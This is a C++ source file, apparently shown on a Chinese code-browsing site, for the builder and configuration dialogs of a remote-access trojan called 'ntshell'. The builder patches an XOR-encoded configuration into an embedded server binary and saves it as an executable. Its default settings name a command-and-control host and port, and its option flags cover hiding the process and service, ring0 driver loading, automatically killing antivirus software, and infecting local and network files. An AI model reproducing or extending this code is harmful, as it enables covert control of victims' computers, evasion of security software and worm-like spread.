📄 config.cpp
字号:
HRSRC hSrc = FindResource(hModule, MAKEINTRESOURCE(IDR_NTSHELL), "BINARY");
HGLOBAL hRes = LoadResource(hModule, hSrc);
ULONG size = SizeofResource(hModule, hSrc);
UCHAR *pExe = new UCHAR[size];
if (pExe == NULL)
return 0;
UCHAR *p = (UCHAR *)LockResource(hRes);
memcpy(pExe, p, size);
FreeResource(hRes);
UCHAR *pp = (UCHAR *)MemorySearchLR(pExe, size, "\x12\x34\x56\x78", 4);
memcpy(pp, config, sizeof(config));
for (int i = 4; i < sizeof(config); i++)
pp[i] ^= 0xa7;
OPENFILENAME ofn;
TCHAR szFileName[MAX_PATH] = "ntshell.exe";
memset(&ofn, 0, sizeof(OPENFILENAME));
ofn.lStructSize = sizeof(OPENFILENAME);
ofn.hwndOwner = NULL;
ofn.hInstance = GetModuleHandle(NULL);
ofn.lpstrFilter = "应用程序 (*.exe)\0*.exe\0全部文件 (*.*)\0*.*\0";
ofn.lpstrFile = szFileName;
ofn.nMaxFile = MAX_PATH;
ofn.Flags = OFN_OVERWRITEPROMPT | OFN_PATHMUSTEXIST | OFN_LONGNAMES | OFN_EXPLORER | OFN_HIDEREADONLY;
if (!GetSaveFileName(&ofn))
{
delete [] pExe;
return 0;
}
HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
CString msg;
msg.Format("不能创建文件 %s", szFileName);
delete [] pExe;
return 0;
}
DWORD nWriteBytes;
WriteFile(hFile, pExe, size, &nWriteBytes, NULL);
CloseHandle(hFile);
delete [] pExe;
return 0;
}
LRESULT CServerConfig::OnClose(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
EndDialog(wID);
return 0;
}
LRESULT CServerConfig::OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
EndDialog(wID);
return 0;
}
LRESULT CServerConfig::OnButtonClicked(int /*code*/, int id, HWND /*hWnd*/, BOOL& /*bHandled*/)
{
switch (id)
{
case IDC_RADIO1:
::EnableWindow(GetDlgItem(IDC_EDIT1), FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT2), FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT3), FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT4), FALSE);
::EnableWindow(GetDlgItem(IDC_RADIO4), TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO5), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT5), TRUE);
CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id);
break;
case IDC_RADIO2:
::EnableWindow(GetDlgItem(IDC_EDIT1), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT2), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT3), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT4), TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO4), FALSE);
::EnableWindow(GetDlgItem(IDC_RADIO5), FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT5), FALSE);
CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id);
break;
case IDC_RADIO3:
::EnableWindow(GetDlgItem(IDC_EDIT1), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT2), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT3), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT4), TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO4), TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO5), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT5), TRUE);
CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id);
break;
case IDC_RADIO4:
case IDC_RADIO5:
CheckRadioButton(IDC_RADIO4, IDC_RADIO5, id);
break;
case IDC_RADIO6:
::EnableWindow(GetDlgItem(IDC_CHECK2), FALSE);
CheckRadioButton(IDC_RADIO6, IDC_RADIO7, id);
break;
case IDC_RADIO7:
CheckRadioButton(IDC_RADIO6, IDC_RADIO7, id);
::EnableWindow(GetDlgItem(IDC_CHECK2), TRUE);
break;
case IDC_CHECK1:
if (IsDlgButtonChecked(IDC_CHECK1) == BST_CHECKED)
{
::EnableWindow(GetDlgItem(IDC_EDIT6), TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT7), TRUE);
}
else
{
::EnableWindow(GetDlgItem(IDC_EDIT6), FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT7), FALSE);
}
break;
}
return 0;
}
void CServerConfig::LoadConfig()
{
TCHAR szIniPath[MAX_PATH];
GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");
GetPrivateProfileString("ServerConfig", "MasterAddr", "mnjcc.vicp.net", MasterAddr, sizeof(MasterAddr), szIniPath);
GetPrivateProfileString("ServerConfig", "MasterAddr2", "192.168.0.23", MasterAddr2, sizeof(MasterAddr2), szIniPath);
MasterPort = GetPrivateProfileInt("ServerConfig", "MasterPort", 7070, szIniPath);
ConnSpace = GetPrivateProfileInt("ServerConfig", "ConnSpace", 20000, szIniPath);
ListenPort = GetPrivateProfileInt("ServerConfig", "ListenPort", 24704, szIniPath);
WaitMode = GetPrivateProfileInt("ServerConfig", "WaitMode", 1, szIniPath);
PortHijack = GetPrivateProfileInt("ServerConfig", "PortHijack", FALSE, szIniPath);
NeedPwd = GetPrivateProfileInt("ServerConfig", "NeedPwd", FALSE, szIniPath);
ConfigFlags = GetPrivateProfileInt("ServerConfig", "ConfigFlags", FLAG_ALLOW_RING0 | FLAG_RECORD_ERROR | FLAG_AUTO_BACKUP_FILE | FLAG_RING0_OPEN_FILE, szIniPath);
RunMethod = GetPrivateProfileInt("ServerConfig", "RunMethod", 0, szIniPath);
SetDlgItemText(IDC_EDIT1, MasterAddr);
SetDlgItemText(IDC_EDIT2, MasterAddr2);
SetDlgItemInt(IDC_EDIT3, MasterPort);
SetDlgItemInt(IDC_EDIT4, ConnSpace);
SetDlgItemInt(IDC_EDIT5, ListenPort);
CheckRadioButton(IDC_RADIO1, IDC_RADIO3, IDC_RADIO1 + WaitMode);
CheckRadioButton(IDC_RADIO4, IDC_RADIO5, PortHijack == FALSE ? IDC_RADIO4 : IDC_RADIO5);
CheckDlgButton(IDC_CHECK1, NeedPwd ? BST_CHECKED : BST_UNCHECKED);
SetDlgItemText(IDC_EDIT6, "");
SetDlgItemText(IDC_EDIT7, "");
CheckRadioButton(IDC_RADIO6, IDC_RADIO7, RunMethod == 0 ? IDC_RADIO6 : IDC_RADIO7);
CheckDlgButton(IDC_CHECK2, RunMethod == 2 ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK3, ConfigFlags & FLAG_ALLOW_HIDE_PROCESS ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK4, ConfigFlags & FLAG_ALLOW_RING0 ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK5, ConfigFlags & FLAG_RUN_SERVICE_ALWAYS ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK6, ConfigFlags & FLAG_AUTO_KILL_AVSOFT ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK7, ConfigFlags & FLAG_AUTO_INFECT_FILE ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK8, ConfigFlags & FLAG_AUTO_INFECT_LAN_FILE ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK9, ConfigFlags & FLAG_RECORD_ERROR ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK10, ConfigFlags & FLAG_RING0_OPEN_FILE ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK11, ConfigFlags & FLAG_AUTO_BACKUP_FILE ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK12, ConfigFlags & FLAG_ALLOW_LOAD_DRIVER ? BST_CHECKED : BST_UNCHECKED);
CheckDlgButton(IDC_CHECK13, ConfigFlags & FLAG_ALLOW_HIDE_SERVICE ? BST_CHECKED : BST_UNCHECKED);
::EnableWindow(GetDlgItem(IDC_EDIT1), WaitMode == 0 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT2), WaitMode == 0 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT3), WaitMode == 0 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT4), WaitMode == 0 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT5), WaitMode == 1 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO4), WaitMode == 1 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_RADIO5), WaitMode == 1 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_CHECK2), RunMethod == 0 ? FALSE : TRUE);
::EnableWindow(GetDlgItem(IDC_EDIT6), NeedPwd ? TRUE : FALSE);
::EnableWindow(GetDlgItem(IDC_EDIT7), NeedPwd ? TRUE : FALSE);
}
void CServerConfig::SaveConfig()
{
TCHAR szIniPath[MAX_PATH];
GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");
CString tmp;
WritePrivateProfileString("ServerConfig", "MasterAddr", MasterAddr, szIniPath);
WritePrivateProfileString("ServerConfig", "MasterAddr2", MasterAddr2, szIniPath);
tmp.Format("%d", MasterPort);
WritePrivateProfileString("ServerConfig", "MasterPort", tmp, szIniPath);
tmp.Format("%d", ConnSpace);
WritePrivateProfileString("ServerConfig", "ConnSpace", tmp, szIniPath);
tmp.Format("%d", ListenPort);
WritePrivateProfileString("ServerConfig", "ListenPort", tmp, szIniPath);
tmp.Format("%d", WaitMode);
WritePrivateProfileString("ServerConfig", "WaitMode", tmp, szIniPath);
tmp.Format("%d", PortHijack);
WritePrivateProfileString("ServerConfig", "PortHijack", tmp, szIniPath);
tmp.Format("%d", NeedPwd);
WritePrivateProfileString("ServerConfig", "NeedPwd", tmp, szIniPath);
tmp.Format("%d", ConfigFlags);
WritePrivateProfileString("ServerConfig", "ConfigFlags", tmp, szIniPath);
tmp.Format("%d", RunMethod);
WritePrivateProfileString("ServerConfig", "RunMethod", tmp, szIniPath);
}
//////////////////////////////////////////////////////////////////////
//
// config.cpp: implementation of the CLocalConfig class.
//
//////////////////////////////////////////////////////////////////////
ULONG ScreenCaptureMethod = SCREEN_XOR;
ULONG ScreenCaptureSpace = 1000;
BOOLEAN AutoZoom = FALSE;
USHORT LocalListenPort = 7070;
LRESULT CLocalConfig::OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/)
{
// center the dialog on the screen
CenterWindow();
//LoadConfig();
switch (ScreenCaptureMethod)
{
case SCREEN_XOR:
CheckDlgButton(IDC_RADIO1, BST_CHECKED);
break;
case SCREEN_DIFFERENCE:
CheckDlgButton(IDC_RADIO2, BST_CHECKED);
break;
}
if (!AutoZoom)
CheckDlgButton(IDC_RADIO3, BST_CHECKED);
else
CheckDlgButton(IDC_RADIO4, BST_CHECKED);
SetDlgItemInt(IDC_EDIT1, ScreenCaptureSpace);
SetDlgItemInt(IDC_EDIT2, LocalListenPort);
return TRUE;
}
LRESULT CLocalConfig::OnOK(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
if (IsDlgButtonChecked(IDC_RADIO1))
ScreenCaptureMethod = SCREEN_XOR;
if (IsDlgButtonChecked(IDC_RADIO2))
ScreenCaptureMethod = SCREEN_DIFFERENCE;
ScreenCaptureSpace = GetDlgItemInt(IDC_EDIT1);
if (IsDlgButtonChecked(IDC_RADIO3))
AutoZoom = FALSE;
if (IsDlgButtonChecked(IDC_RADIO4))
AutoZoom = TRUE;
LocalListenPort = GetDlgItemInt(IDC_EDIT2);
SaveConfig();
EndDialog(wID);
return 0;
}
LRESULT CLocalConfig::OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
EndDialog(wID);
return 0;
}
void CLocalConfig::LoadConfig()
{
TCHAR szIniPath[MAX_PATH];
GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");
LocalListenPort = GetPrivateProfileInt("LocalConfig", "ListenPort", 7070, szIniPath);
ScreenCaptureMethod = GetPrivateProfileInt("LocalConfig", "ScreenCaptureMethod", SCREEN_XOR, szIniPath);
ScreenCaptureSpace = GetPrivateProfileInt("LocalConfig", "ScreenCaptureSpace", 1000, szIniPath);
AutoZoom = GetPrivateProfileInt("LocalConfig", "AutoZoom", FALSE, szIniPath);
}
void CLocalConfig::SaveConfig()
{
CString tmp;
TCHAR szIniPath[MAX_PATH];
GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");
tmp.Format("%d", LocalListenPort);
WritePrivateProfileString("LocalConfig", "ListenPort", tmp, szIniPath);
tmp.Format("%d", ScreenCaptureMethod);
WritePrivateProfileString("LocalConfig", "ScreenCaptureMethod", tmp, szIniPath);
tmp.Format("%d", ScreenCaptureSpace);
WritePrivateProfileString("LocalConfig", "ScreenCaptureSpace", tmp, szIniPath);
tmp.Format("%d", AutoZoom);
WritePrivateProfileString("LocalConfig", "AutoZoom", tmp, szIniPath);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -